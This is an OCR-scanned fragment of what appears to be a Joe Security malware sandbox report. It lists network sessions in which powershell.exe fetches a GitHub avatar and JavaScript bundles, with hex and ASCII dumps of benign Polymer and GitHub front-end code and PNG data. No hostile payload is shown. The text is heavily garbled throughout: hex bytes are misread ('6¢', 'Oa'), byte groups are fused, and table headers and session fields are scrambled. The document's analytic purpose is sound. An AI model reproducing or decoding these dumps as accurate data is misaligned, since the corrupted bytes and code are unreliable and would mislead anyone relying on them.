,s),window.removeEventListener(“test",s,s)}catch{}class E{constructor(t,n,e){this.value=void 0,this.__pendingValue=void
0,this.element=t,this.event

Data Raw: Oa 20 2a 20 54 68 65 20 63 6f 6d 70 6¢ 65 74 65 20 73 65 74 20 6f 66 20 61 75 74 68 6f 72 73 20 6d 61 79 20
62 65 20 66 6f 75 6e 64 20 61 74 0a 20 2a 20 68 74 74 70 3a 2f 2f 70 6f 6¢ 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f
4155 54 48 4f 52 53 2e 74 78 74 0a 20 2a 20 54 68 65 20 63 6f 6d 70 6¢ 65 74 65 20 73 65 74 20 6f 66 20 63 6f 6e 74 72
69 62 75 74 6f 72 73 20 6d 61 79 20 62 65 20 66 6f 75 6€ 64 20 61 74 0a 20 2a 20 68 74 74 70 3a 2f 2f 70 6f 6¢ 79 6d 65
72 2e 67 69 74 68 75 62 2e 69 6f 2f 43 4f 4e 54 52 49 42 55 54 4f 52 53 2e 74 78 74 0a 20 2a 20 43 6f 64 65 20 64 69 73
747269 62 75 74 65 64 20 62 79 20 47 6f 6f 67 6¢ 65 20 61 73 20 70 61 72 74 20 6f 66 20 74 68 65 20 70 6f 6¢ 79 6d 65
7220 70 72 6f 6a 65 63 74 20 69 73 20 61 6¢ 73 6f 0a 20

Data Ascii: * The complete set of authors may be found at * http://polymer.github.io/AUTHORS.txt * The complete set of
contributors may be found at * http://polymer.github.io/CONTRIBUTORS.txt * Code distributed by Google as part of the
polymer project is also

Data Raw: 5f 7d 29 3b 76 61 72 20 61 3d 6c 28 36 36 39 32 31 29 2c 76 3d 6¢ 28 36 30 35 36 30 29 3b 2f 2a 2a 0a 20 2a
2040 6¢ 69 63 65 6e 73 65 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 20 54 68 65 20 50 6f 6¢
79 6d 65 72 20 50 72 6f 6a 65 63 74 20 41 75 74 68 6f 72 73 2e 20 41 6¢ 6¢ 20 72 69 67 68 74 73 20 72 65 73 65 72 76
65 64 2e 0a 20 2a 20 54 68 69 73 20 63 6f 64 65 20 6d 61 79 20 6f 6e 6¢ 79 20 62 65 20 75 73 65 64 20 75 6e 64 65 72 2
0 74 68 65 20 42 53 44 20 73 74 79 6¢ 65 20 6¢ 69 63 65 6e 73 65 20 66 6f 75 6€ 64 20 61 74 Oa 20 2a 20 68 74 74 70 3a
2f 2f 70 6f 6¢ 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 4c 49 43 45 4e 53 45 2e 74 78 74 0a 20 2a 20 54 68 65 20 63
6f 6d 70 6¢ 65 74 65 20 73 65 74 20 6f 66 20 61 75 74 68 6f 72 73

Data Ascii: _});var a=1(66921),v=1(60560);/** * @license * Copyright (c) 2017 The Polymer Project Authors. All rights re
served. * This code may only be used under the BSD style license found at * http://polymer.github.io/LICENSE.txt * The ¢
omplete set of authors
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Timestamp transferred Direction
2022-04-20 13:07:37 UTC 1282 IN
2022-04-20 13:07:37 UTC 1283 IN
2022-04-20 13:07:37 UTC 1285 IN
2022-04-20 13:07:37 UTC 1286 IN
2022-04-20 13:07:37 UTC 1287 IN
Session ID Source IP Source Port
32 192.168.2.4 49786
) kBytes —
Ti Di
imestamp transferred irection
2022-04-20 13:07:37 UTC 1288 ouT

Copyright Joe Security LLC 2022

Data

Data Raw: 76 2¢ 57 35 3a 28 29 3d 3e 66 2c 59 53 3a 28 29 3d 3e 63 2c 70 43 3a 28 29 3d 3e 72 7d 29 3b 2f 2a 2a 0a 20
2a 20 40 6¢ 69 63 65 6e 73 65 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 20 54 68 65 20 50 6f
6¢ 79 6d 65 72 20 50 72 6f 6a 65 63 74 20 41 75 74 68 6f 72 73 2e 20 41 6¢ 6¢ 20 72 69 67 68 74 73 20 72 65 73 65 72
76 65 64 2e 0a 20 2a 20 54 68 69 73 20 63 6f 64 65 20 6d 61 79 20 6f 6e 6¢ 79 20 62 65 20 75 73 65 64 20 75 6e 64 65 7
22074 6865 20 42 53 44 20 73 74 79 6¢ 65 20 6¢ 69 63 65 6e 73 65 20 66 6f 75 6€ 64 20 61 74 Oa 20 2a 20 68 74 74 70
3a 2f 2f 70 6f 6¢ 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 4c 49 43 45 4e 53 45 2e 74 78 74 Oa 20 2a 20 54 68 65 20
63 6f 6d 70 6¢ 65 74 65 20 73 65 74 20 6f 66 20 61 75 74 68 6f 72

Data Ascii: v,W5:()=>f,YS:()=>c,pC:()=>1});/** * @license * Copyright (c) 2017 The Polymer Project Authors. All rights r
eserved. * This code may only be used under the BSD style license found at * http:/polymer.github.io/LICENSE.txt * The
complete set of author

Data Raw: 74 20 56 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 54 3d 69 2e 73 70 6¢ 69 74 28 75 29 2c 79 3d 54 2e 6¢ 65
6e 67 74 68 2d 31 3b 66 6f 72 28 6¢ 65 74 20 49 3d 30 3b 49 3c 79 3b 49 2b 2b 29 7b 6¢ 65 74 20 4c 2c 62 3d 54 5b 49
5d 3b 69 66 28 62 3d 3d 3d 22 22 29 4c 3d 64 28 29 3b 65 6¢ 73 65 7b 63 6f 6e 73 74 20 50 3d 66 2e 65 78 65 63 28 62
29 3b 50 21 3d 3d 6e 75 6¢ 6¢ 26 26 68 28 50 5b 32 5d 2c 5f 29 26 26 28 62 3d 62 2e 73 6¢ 69 63 65 28 30 2c 50 2e 69 6
e 64 65 78 29 2b 50 5b 31 5d 2b 50 5b 32 5d 2e 73 6¢ 69 63 65 28 30 2c 2d 5f 2e 6¢ 65 6e 67 74 68 29 2b 50 5b 33 5d

29 2c 4c 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 54 65 78 74 4e 6f 64 65 28 62 29 7d 56 2e 69 6e 73 65 72 74
42 65 66 6f 72 65 28 4c 2c 65 29 2¢ 74 68 69 73 2e 70 61 72 74 73 2e 70

Data Ascii: t V=e.parentNode, T=i.split(u),y=T.length-1;for(let I=0;I<y;l++){let L,b=T[I];if(b==="")L=d();else{const P=f.
exec(b);P!'==null&&h(P[2],_)&&(b=b.slice(0,P.index)+P[1]+P[2].slice(0,-_.length)+P[3]),L=document.create TextNod
e(b)}V.insertBefore(L,e),this.parts.p

Data Raw: 65 74 65 20 73 65 74 20 6f 66 20 61 75 74 68 6f 72 73 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 61 74 Oa 20
2a20 68 74 74 70 3a 2f 2f 70 6f 6¢ 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 41 55 54 48 4f 52 53 2e 74 78 74 0a 20
2a 20 54 68 65 20 63 6f 6d 70 6¢ 65 74 65 20 73 65 74 20 6f 66 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 6d 61 79 20 62
65 20 66 6f 75 6e 64 20 61 74 0a 20 2a 20 68 74 74 70 3a 2f 2f 70 6f 6¢ 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 43
4f 4e 54 52 49 42 55 54 4f 52 53 2e 74 78 74 0a 20 2a 20 43 6f 64 65 20 64 69 73 74 72 69 62 75 74 65 64 20 62 79 20
47 6f 6f 67 6¢ 65 20 61 73 20 70 61 72 74 20 6f 66 20 74 68 65 20 70 6f 6¢ 79 6d 65 72 20 70 72 6f 62 65 63 74 20 69 73
20 61 6¢ 73 6f 0a 20 2a 20 73 75 62 6a 65 63 74 20 74 6f 20

Data Ascii: ete set of authors may be found at * http:/polymer.github.io/AUTHORS.txt * The complete set of contributors
may be found at * http://polymer.github.io/CONTRIBUTORS.txt * Code distributed by Google as part of the polymer
project is also * subject to

Data Raw: 69 6e 67 73 29 3b 69 66 28 73 21 3d 3d 76 6f 69 64 20 30 29 72 65 74 75 72 6e 20 73 3b 63 6f 6e 73 74 20 74
3d 45 2e 73 74 72 69 6e 67 73 2e 6a 6f 69 6e 28 64 2e 4a 77 29 3b 72 65 74 75 72 6e 20 73 3d 6f 2e 6b 65 79 53 74 72
69 6e 67 2e 67 65 74 28 74 29 2c 73 3d 3d 3d 76 6f 69 64 20 30 26 26 28 73 3d 6e 65 77 20 64 2e 59 53 28 45 2c 45 2e
67 65 74 54 65 6d 70 6¢ 61 74 65 45 6¢ 65 6d 65 6 74 28 29 29 2c 6f 2e 6b 65 79 53 74 72 69 6e 67 2e 73 65 74 28 74 2
€ 732929 2c6f2e73747269 6e67 734172726179 2e 7365742845 2e 73747269 6e67732c73292c737d70
28 66 2c 22 74 65 6d 70 6¢ 61 74 65 46 61 63 74 6f 72 79 22 29 3b 63 6f 6e 73 74 20 67 3d 6e 65 77 20 4d 61 70 3b 2f 2a
2a 0a 20 2a 20 40 6¢ 69 63 65 6e 73 65 0a 20 2a 20 43 6f 70 79 72

Data Ascii: ings);if(s!==void O)return s;const t=E.strings.join(d.Jw);return s=0.keyString.get(t),s===void 0&&(s=new d.Y
S(E,E.getTemplateElement()),0.keyString.set(t,s)),0.stringsArray.set(E.strings,s),s}p(f,"templateFactory");const g=new M
ap;/** * @license * Copyr

Data Raw: 61 74 Oa 20 2a 20 68 74 74 70 3a 2f 2f 70 6f 6¢ 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 41 55 54 48 4f 52
53 2e 74 78 74 0a 20 2a 20 54 68 65 20 63 6f 6d 70 6¢ 65 74 65 20 73 65 74 20 6f 66 20 63 6f 6e 74 72 69 62 75 74 6f 72
7320 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 61 74 Oa 20 2a 20 68 74 74 70 3a 2f 2f 70 6f 6¢ 79 6d 65 72 2e 67 69 74 68
75 62 2e 69 6f 2f 43 4f 4e 54 52 49 42 55 54 4f 52 53 2e 74 78 74 0a 20 2a 20 43 6f 64 65 20 64 69 73 74 72 69 62 75 74
65 64 20 62 79 20 47 6f 6f 67 6¢ 65 20 61 73 20 70 61 72 74 20 6f 66 20 74 68 65 20 70 6f 6¢ 79 6d 65 72 20 70 72 6f 62
65 63 74 20 69 73 20 61 6¢ 73 6f 0a 20 2a 20 73 75 62 6a 65 63 74 20 74 6f 20 61 6e 20 61 64 64 69 74 69 6f 6e 61 6¢ 20
4950 20 72 69 67 68 74 73 20 67 72 61 6e 74 20 66 6f

Data Ascii: at * http://polymer.github.io/AUTHORS.txt * The complete set of contributors may be found at * http://polyme
r.github.io/ CONTRIBUTORS.txt * Code distributed by Google as part of the polymer project is also * subject to an additio
nal IP rights grant fo

Destination
Destination IP Esunatio Process
Port

185.199.108.133 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /ohmyzsh?s=64&v=4 HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: avatars.githubusercontent.com

Connection: Keep-Alive
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kBytes

Timestam
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2022-04-20 13:07:37 UTC 1289

2022-04-20 13:07:37 UTC 1289

2022-04-20 13:07:37 UTC 1291

2022-04-20 13:07:37 UTC 1292

Session ID Source IP

33 192.168.2.4
. kBytes

UGS transferred

2022-04-20 13:07:37 UTC 1288

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49787

Direction

ouT

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 3402

Cache-Control: max-age=300

Content-Security-Policy: default-src 'none’

Content-Type: image/png

ETag: "5821ddeedb4ac9d9823e10a88949efecdbc72b77f89677039051f790f479d63b"
Last-Modified: Sun, 19 Feb 2017 18:24:09 GMT
Strict-Transport-Security: max-age=31557600
timing-allow-origin: https://github.com

X-Content-Type-Options: nosniff

X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

X-GitHub-Request-1d: ACD6:1539:D407AD:E8B3BD:62427A87
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6955-MXP

X-Cache: HIT

X-Cache-Hits: 5

X-Timer: S1650460057.351202,VS0,VEQ
Access-Control-Allow-Origin: *

X-Fastly-Request-ID: 956962c309842e22da3b9b16630667a307392a4a
Expires: Wed, 20 Apr 2022 13:12:37 GMT

Source-Age: 1936146

Vary: Authorization,Accept-Encoding

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 Od 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00
0d 11 49 44 41 54 78 9c ec 5a 09 50 94 f5 df ff 81 28 08 88 66 9a 86 28 e6 55 2e 96 1c 1b f2 aa f8 62 82 39 eb Oe 42 e9
98 93 47 3a 68 8e c7 a0 58 a3 93 24 a8 29 Oc be 93 59 12 6¢ 12 1e 79 01 2b b8 78 21 ea 88 9a 8b 8a 29 8b 1c d1 ca 22
€1 66 c4 bl b6 0a ch bl cb f3 ce e7 fb ef 79 66 57 89 a0 b0 6d fe f1 99 79 66 7f d7 f3 3c df fb 78 cO 8e e3 38 f6 6f 86 ad
b5 09 b0 36 ba 05 60 6d 02 ac 8d 6e 01 58 9b 00 6b a3 5b 00 d6 26 cO da e8 16 80 b5 09 b0 36 ba 05 60 6d 02 ac 8d 7f
bd 00 ec da db dc ba 75 eb 3a c6 98 f3 df 47 4e 97 a2 29 3c 3c 7c 97 8b 8b 8b al bd 43 ed 0a c0 64 32 fd 5f 74 74 74 97
53 d6 95 28 2b 2b 63 3d 7b f6 04 ad cc c1 c1 81 3d 7a f4 88 39

Data Ascii: PNGIHDR@@iqIDATXZP(f(U.b9BG:hX$)Yly+x!)"fyfwmyf<x806 mnXk[&6 mu:GN)<<|Cd2_tttS(++c={=z9

Data Raw: fc 84 84 04 6e db b6 6d 74 76 dc b8 71 35 4a a5 d2 a3 5d 01 9c 39 73 c¢6 37 22 22 82 b4 15 14 14 c4 25 26 26
d2 cd 90 66 60 60 a0 05 b1 10 c2 ca 95 2b 69 5c 58 58 c8 bd f5 d6 5b dc f6 ed db 85 fd e2 e2 62 ee 49 28 95 4a 61 fc fO
€143 62 b8 ac ac 4c 58 53 ab d5 5¢ 55 55 95 30 87 a6 9f 84 c¢1 60 e0 f6 ed db 47 c2 50 28 14 60 8c c6 3c 54 2a 15 37 7a
f4 68 fa 85 95 cc 9e 3d 9b f8 a9 ac ac 04 bd cd 32 99 2¢c b8 4d 01 34 34 34 4 fO {7 f7 bf Oe 93 06 f4 7a 3d 31 c6 63 ca 94
29 dc 8d 1b 37 2c 88 a9 a9 a9 11 ¢6 20 bc a0 a0 80 2b 2d 2d 7d 8a 68 1e 59 59 59 c2 f8 e4 c9 93 dc e5 cb 97 b9 86 86
06 61 0d ef 34 47 63 63 23 57 5e 5e 6e bl af d5 6a 2d ce ec d8 bl c3 62 Oe 66 8f 1e 3d 2a cc 4b 4a 4a 2c f6 a4 52 69 63
66 66 a6 98 e7 5b 08 82 cb 97 2f df 19 13 13 e3 cb 47 5a

Data Ascii: nmtvg5J]9s7""%&&f"+I\XX[bl(JaCbLXS\UUO  GP('<T*7zh=2,M444z=1c)7, +--}hYYYadGcc#W" nj-bf=
*KJJ,Ricffl/GZ

Data Raw: 5b 50 Oc e1 81 08 80 88 b6 3e 3e 3e 72 a4 13 c4 04 b9 5¢ be 14 6b c7 8e 1d 33 20 1a 2f 5e bc 98 bd fb ee bb
44 44 68 68 a8 cd dc b9 73 0d cl cl cl Ob 23 22 22 6 46 44 44 e4 22 d5 05 04 04 14 cc 9c 39 33 2¢ 27 27 87 72 bc 48
24 5a e3 ea ea aa df b4 69 d3 66 89 44 a2 02 c1 bl bl bl cd 33 66 cc d0 40 a0 db b7 6f 87 7b ca a5 52 e9 c1 c8 c8 c8 96
15 2b 56 90 5b c1 3d 0d 06 83 a9 ac ac 8c 2d 58 b0 80 ac 12 9a 47 d4 87 d0 10 bb 72 73 73 19 5f db 20 36 40 21 1a 8d
c6 c39c 67 al 8f 4d 4a 4a 0a 76 71 71 f1 30 93 5¢c 1d b4 a6 50 28 86 38 38 38 54 e4 €6 e6 ba ff 66 ae 67 e5 72 f9 42 27
27 27 bb 25 4b 96 78 65 66 66 a6 27 26 26 86 27 27 27 2f 58 bc 78 b1 d8 60 30 Oc 13 89 44 a7 4d 26 93 21 26 26 e6 a0
b7 b7 37 f9 43 4e 4e ce d4 ec ec ec ff 3d 7d fa 74 fe c8 91 23 ab

Data Ascii: [P>>>r\k3 /ADDhhs#"'FDD"93,"rH$ZifD3f@o{R+V[=-XGrss_ 6@'gMJJvqq0\P(888TfgrB"'%Kxeff'&&"/Xx 0DM
&!&&7TCNN=}t#

Destinati
Destination IP estination Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /assets/93-8fdb428884fb.js HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive
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2022-04-20 13:07:37 UTC 1293

2022-04-20 13:07:37 UTC 1293

2022-04-20 13:07:37 UTC 1295

2022-04-20 13:07:37 UTC 1296

2022-04-20 13:07:37 UTC 1297

2022-04-20 13:07:37 UTC 1299

2022-04-20 13:07:37 UTC 1300

Copyright Joe Security LLC 2022

Direction

IN

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 10245

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Cache-Control: public, max-age=31536000

Last-Modified: Wed, 30 Mar 2022 04:02:18 GMT

ETag: "daba6d5bb4b511c35cd751a7d3201149"

Content-Type: application/javascript

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Age: 1846929

X-Served-By: cache-iad-kjyo7100179-1AD, cache-mxp6937-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 2b3c48e63eec96fad4d0ffb725elbbcaa2ec550a

Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 28 29 3d 3e 7b 76 61 72 20 4b 3d 4f 62 6a 65 63 74 2e 64 65 66
69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 75 3d 28 57 2¢ 43 29 3d 3e 4b 28 57 2c 22 6e 61 6d 65 22 2c 7b 76 61
6c 75 65 3a 43 2c 63 6f 6e 66 69 67 75 72 61 62 6¢ 65 3a 21 30 7d 29 3b 28 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 65 62 7
061 63 6b 43 68 75 6e 6b 3d 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70
75 73 68 28 5b 5b 39 33 5d 2c 7b 35 39 37 35 33 3a 28 57 2c 43 2c 48 29 3d 3e 7b 48 2e 64 28 43 2¢ 7b 66 3a 28 29 3d
3e 56 2c 6f 6e 3a 28 29 3d 3e 7a 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 67 28 29 7b 69 66 28 21 28 74 68 69 73 20 69 6e
73 74 61 6e 63 65 6f 66 20 67 29 29 72 65 74 75 72 6e 20 6e 65 77 20 67

Data Ascii: “use strict";(()=>{var K=Object.defineProperty;var u=(W,C)=>K(W,"name" {value:C,configurable:!0});(globalThi
s.webpackChunk=globalThis.webpackChunk||[]).push([[93],{59753:(W,C,H)=>{H.d(C {f:()=>V,on:()=>z});function g(){if(!
(this instanceof g))return new g

Data Raw: 29 7b 76 61 72 20 6e 3b 69 66 28 6e 3d 72 2e 6d 61 74 63 68 28 42 29 29 72 65 74 75 72 6e 20 6e 5b 30 5d
2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 2c 22 6d 61 74 63 68 54 61 67 53 65 6C 65 63 74 6f 72 22 29 2c 65 6C 65
6d 65 6e 74 3a 75 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 5b 72 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 5
570 706572 43 61 73 65 28 29 5d 7d 2c 22 67 65 74 45 6¢ 65 6d 65 6e 74 54 61 67 4e 61 6d 65 22 29 7d 29 2c 67 2e
70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 65 73 2e 64 65 66 61 75 6¢ 74 3d 7b 6e 61 6d 65 3a 22 55 4e 49 56 45 52
53 41 4c 22 2¢ 73 65 6¢ 65 63 74 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 30 7d 2c 65 6¢ 65 6d
65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 5b 21 30 5d

Data Ascii: ){var n;if(n=r.match(B))return n[0].toUpperCase()},"matchTagSelector"),element:u(function(r){return[r.nodeNa
me.toUpperCase()]},"getElementTagName")}),g.prototype.indexes.default={name:"UNIVERSAL",selector:function(){re
turn!0},element:function(){return[!0]

Data Raw: 2e 6d 61 70 3d 6e 65 77 20 49 2c 6d 2e 70 75 73 68 28 61 29 29 2c 6f 3d 3d 3d 74 68 69 73 2e 69 6e 64 65 78
65 73 2e 64 65 66 61 75 6¢ 74 26 26 74 68 69 73 2e 6¢ 6f 67 44 65 66 61 75 6¢ 74 49 6e 64 65 78 55 73 65 64 28 6€ 29
2c 64 3d 61 2e 6d 61 70 2e 67 65 74 28 6¢ 29 2c 64 7c 7c 28 64 3d 5b 5d 2c 61 2e 6d 61 70 2e 73 65 74 28 6¢ 2 64 29
29 2c 64 2e 70 75 73 68 28 6e 29 3b 74 68 69 73 2e 73 69 7a 65 2b 2b 2¢c 76 2e 70 75 73 68 28 65 29 7d 7d 2c 67 2e 70
72 6f 74 6f 74 79 70 65 2e 72 65 6d 6f 76 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2¢ 72 29 7b 69 66 28 74 79 70 65 6f 66 20
65 3d 3d 22 73 74 72 69 6e 67 22 29 7b 76 61 72 20 6e 2c 63 2c 6f 2¢c 6¢ 2¢ 61 2¢ 64 2¢ 70 2¢ 68 2¢ 6d 3d 74 68 69 73
2e 61 63 74 69 76 65 49 6e 64 65 78 65 73 2¢ 76 3d 74 68 69 73 2e 73

Data Ascii: .map=new |,m.push(a)),0===this.indexes.default&&this.logDefaultindexUsed(n),d=a.map.get(l),d||(d=[
],.a.map.set(l,d)),d.push(n);this.size++,v.push(e)}},g.prototype.remove=function(e,r){if(typeof e=="string"){var n,c,o,!,
a,d,p,h,m=this.activelndexes,v=this.s

Data Raw: 20 57 65 61 6b 4d 61 70 2c 4c 3d 6e 65 77 20 57 65 61 6b 4d 61 70 2c 62 3d 6e 65 77 20 57 65 61 6b 4d 61
70 2c 79 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 45 76 65 6e
74 2e 70 72 6f 74 6f 74 79 70 65 2c 22 63 75 72 72 65 6e 74 54 61 72 67 65 74 22 29 3b 66 75 6e 63 74 69 6f 6e 20 52
2865 2c 72 2c 6e 29 7b 76 61 72 20 63 3d 65 5b 72 5d 3b 72 65 74 75 72 6e 20 65 5b 72 5d 3d 66 75 6e 63 74 69 6f 6e 2
829 7b 7265 74 75 72 6e 20 6e 2e 61 70 70 6¢ 79 28 65 2c 61 72 67 75 6d 65 6e 74 73 29 2¢c 63 2e 61 70 70 6¢ 79 28
65 2c 61 72 67 75 6d 65 6e 74 73 29 7d 2c 65 7d 75 28 52 2¢ 22 62 65 66 6f 72 65 22 29 3b 66 75 6€ 63 74 69 6f 6e 20
732865 2c 72 2c 6e 29 7b 76 61 72 20 63 3d 5b 5d 2c 6f 3d 72 3b 64 6f

Data Ascii: WeakMap,L=new WeakMap,b=new WeakMap,y=Object.getOwnPropertyDescriptor(Event.prototype,"
currentTarget");function R(e,r,n){var c=e[r];return e[r]=function(){return n.apply(e,arguments),c.apply(e,arguments)},e}
u(R,"before");function s(e,r,n){var c=[],o=r;do

Data Raw: 63 74 69 6f 6e 20 47 28 65 2c 72 2c 6e 29 7b 76 61 72 20 63 3d 61 72 67 75 6d 65 6e 74 73 2e 6¢ 65 6e 67 74
68 3e 33 26 26 61 72 67 75 6d 65 6e 74 73 5b 33 5d 21 3d 3d 76 6f 69 64 20 30 3f 61 72 67 75 6d 65 6e 74 73 5b 33 5d
3a 7b 7d 2c 6f 3d 21 21 63 2e 63 61 70 74 75 72 65 2c 6¢ 3d 6f 3f 78 3a 41 2¢ 61 3d 6¢ 5b 65 5d 3b 21 61 7c 7c 28 61 2e
72 65 6d 6f 76 65 28 72 2c 6e 29 2c 21 61 2e 73 69 7a 65 26 26 28 64 65 6¢ 65 74 65 20 6¢ 5b 65 5d 2¢ 64 6f 63 75 6d
65 6e 74 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 65 2c 6b 2c 6f 29 29 29 7d 75 28 47 2c 22 6f 66
66 22 29 3b 66 75 6e 63 74 69 6f 6e 20 56 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 65 2e 64 69 73 70 61 74 63 68
45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28

Data Ascii: ction G(e,r,n)}{var c=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},0=!!c.capture,|=0?x
:A,a=lI[e];!a||(a.remove(r,n),'a.size&&(delete I[e],document.removeEventListener(e,k,0)))}u(G,"off");function V(e,r,n){return
e.dispatchEvent(new CustomEvent(

Data Raw: 6f 72 28 22 64 65 74 61 69 6¢ 73 2d 64 69 61 6¢ 6f 67 22 29 3b 72 65 74 75 72 6e 20 74 20 69 6e 73 74 61 6e
63 65 6f 66 20 79 3f 74 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28
22 64 65 74 61 69 6¢ 73 2d 64 69 61 6¢ 6f 67 2d 63 6¢ 6f 73 65 22 2¢ 7b 62 75 62 62 6C 65 73 3a 21 30 2C 63 61 6€ 63
65 6¢ 61 62 6¢ 65 3a 21 30 7d 29 29 3a 21 30 7d 75 28 5f 2¢ 22 61 6¢ 6¢ 6f 77 43 6¢ 6f 73 69 6e 67 44 69 61 6¢ 6f 67 22
29 3b 66 75 6e 63 74 69 6f 6e 20 4f 28 73 29 7b 69 66 28 21 28 73 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 20 69 6e 7
374 61 6e 63 65 6f 66 20 45 6¢ 65 6d 65 6€ 74 29 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 74 3d 73 2e 63 75 72 72 65
6e 74 54 61 72 67 65 74 2e 63 6¢ 6f 73 65 73 74 28 22 64 65 74 61

Data Ascii: or("details-dialog");return t instanceof y?t.dispatchEvent(new CustomEvent("details-dialog-close" {bubbles:!
0,cancelable:!0})):!0}u(_,"allowClosingDialog");function O(s){if(!(s.currentTarget instanceof Element))return;const t=s.
currentTarget.closest("deta
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Session ID Source IP
34 192.168.2.4
. kBytes
Ti t
imestamp transferred

2022-04-20 13:07:37 UTC 1303

2022-04-20 13:07:37 UTC 1304

2022-04-20 13:07:37 UTC 1305

2022-04-20 13:07:37 UTC 1306

Session ID Source IP

35 192.168.2.4
Copyright Joe Security LLC 2022

Direction

IN

Source Port

49789

Direction

ouT

Source Port

49790

Data

Data Raw: 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 6f 70 65 6e 22 29 26 26 71 28 69 29 7d 29 2c 66 2e 73 65 74 41
74747269 62 75 74 65 28 22 73 72 63 22 2¢ 45 29 2¢ 4c 28 74 29 29 7d 75 28 78 2c 22 6¢ 6f 61 64 49 6e 63 6¢ 75 64
65 46 72 61 67 6d 65 6e 74 22 29 3b 66 75 6e 63 74 69 6f 6e 20 54 28 73 2¢ 74 2¢ 69 29 7b 4c 28 73 29 2c 74 26 26 73
2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 67 67 6¢ 65 22 2¢c 78 2c 7b 6f 6e 63 65 3a 21 30 7d 29 2
C 74 26 26 69 26 26 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 6f 76 65 72 22 2c 78 2c
7b 6f 6e 63 65 3a 21 30 7d 29 7d 75 28 54 2¢ 22 75 70 64 61 74 65 49 6e 63 6¢ 75 64 65 46 72 61 67 6d 65 6e 74 45 76
65 6e 74 4c 69 73 74 65 6e 65 72 73 22 29 3b 66 75 6e 63 74 69 6f 6e

Data Ascii: .hasAttribute("open")&&q(i)}),f.setAttribute("src",E),L(t))}u(x,"loadIncludeFragment");function T(s,t,i){L(s
),1&&s.addEventListener("toggle",x,{once:!0}),t&&i&&s.addEventListener("mouseover"”,x,{once:!0})}u(T, "'updatelnc
ludeFragmentEventListeners");function

Data Raw: 72 6e 3b 69 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4¢c 69 73 74 65 6e 65 72 28 22 74 6f 67 67 6¢ 65 22 2c 4d 29
